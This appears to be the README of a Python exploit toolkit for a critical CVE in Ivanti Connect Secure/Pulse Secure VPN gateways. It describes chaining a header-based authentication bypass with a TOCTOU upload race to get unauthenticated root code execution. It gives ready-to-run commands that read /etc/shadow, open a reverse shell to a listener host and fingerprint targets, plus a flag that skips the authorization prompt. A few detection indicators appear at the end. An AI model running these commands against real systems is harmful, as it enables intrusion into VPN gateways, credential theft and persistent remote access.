Python exploit toolkit for CVE-2026-104935 in Ivanti Connect Secure/Pulse Secure, chaining X-DSCGI-PATH auth bypass and a wu.cgi TOCTOU race to achieve root RCE, with detect, audit, and exploit modes.
CVE-2026-104935 is a critical remote code execution (RCE) vulnerability affecting Ivanti Connect Secure and Pulse Secure VPN gateways. The vulnerability allows unauthenticated attackers to execute arbitrary commands as root on the affected appliance.
The exploit chains two vulnerabilities:
Authentication Bypass via X-DSCGI-PATH header — welcome.cgi honors the custom X-DSCGI-PATH HTTP header to route incoming requests to an arbitrary CGI handler. By pointing this header at the authenticated upload handler (/home/webserver/htdocs/dana/fb/smb/wu.cgi), the attacker gains unauthenticated access to the file-upload functionality.
TOCTOU Race Condition in wu.cgi — The upload handler validates the destination path before completing the file transfer. By firing parallel requests, the exploit widens the race window so the file is written to disk outside the validation boundary. This primitive was documented by Volexity in their analysis of in-the-wild APT activity.
In-Memory Command Execution — The uploaded script (primer) executes entirely from RAM via memfd_create, minimizing disk footprint — consistent with low-observability tradecraft observed in production.
cve_2026-104935.py is an authorized-use toolkit for detection, auditing, and exploitation of this vulnerability.
requests library (pip install requests)| Mode | Description |
|---|---|
detect | Non-interactive check — prints [+] BYPASS CONFIRMED or [-] Bypass did not reach wu.cgi |
audit | Interactive fingerprinting + bypass check + remediation recommendations |
exploit | Full exploit chain — upload primer + trigger execution |
# Detect mode (no authorization required)
python3 cve_2026-104935.py https://vpn.example.com --mode detect
# Audit mode (shows version, vulnerability verdict, remediation checklist)
python3 cve_2026-104935.py https://vpn.example.com --mode audit --authorize yes
# Execute a custom command as root
python3 cve_2026-104935.py https://vpn.example.com --mode exploit \
--cmd "cat /etc/shadow" --exec-kind cmd --authorize yes
# Reverse shell (ensure nc is listening first)
python3 cve_2026-104935.py https://vpn.example.com --mode exploit \
--exec-kind reverse --lhost 10.0.0.1 --lport 4444 --authorize yes
# Probe mode (runs id; uname -a; version check)
python3 cve_2026-104935.py https://vpn.example.com --mode exploit \
--exec-kind probe --authorize yes
| Option | Default | Description |
|---|---|---|
--mode | audit | Operation mode: detect, audit, or exploit |
--cmd | — | Command to execute (exploit mode) |
--exec-kind | cmd | Payload type: cmd, reverse, or probe |
--lhost | — | Listener hostname/IP (reverse mode) |
--lport | — | Listener port (reverse mode) |
--races | 6 | Parallel upload attempts for the TOCTOU window |
--timeout | 15 | HTTP request timeout in seconds |
--verify-tls | — | Enable TLS certificate verification |
--proxy | — | HTTP proxy URL |
--authorize | — | Set to yes to skip authorization prompt |
--log-out | auto-generated | Path for the engagement log file |
| Code | Meaning |
|---|---|
0 | Success / not exploitable (audit mode) |
1 | Bypass failed (likely patched) |
2 | Bypass confirmed (detect mode) |
3 | Unknown error |
4 | Runtime error |
Every run saves an engagement log (ISO-8601 timestamped) to the file specified by --log-out. This records all HTTP requests, responses, and verdicts for reporting purposes.
/tmp/.system/IDS_* leftovers, unexpected python/bash children spawned by /usr/local/bin/dsWeb httpd workers, outbound connections after October 13, 2026.welcome.cgi bearing X-DSCGI-PATH headers.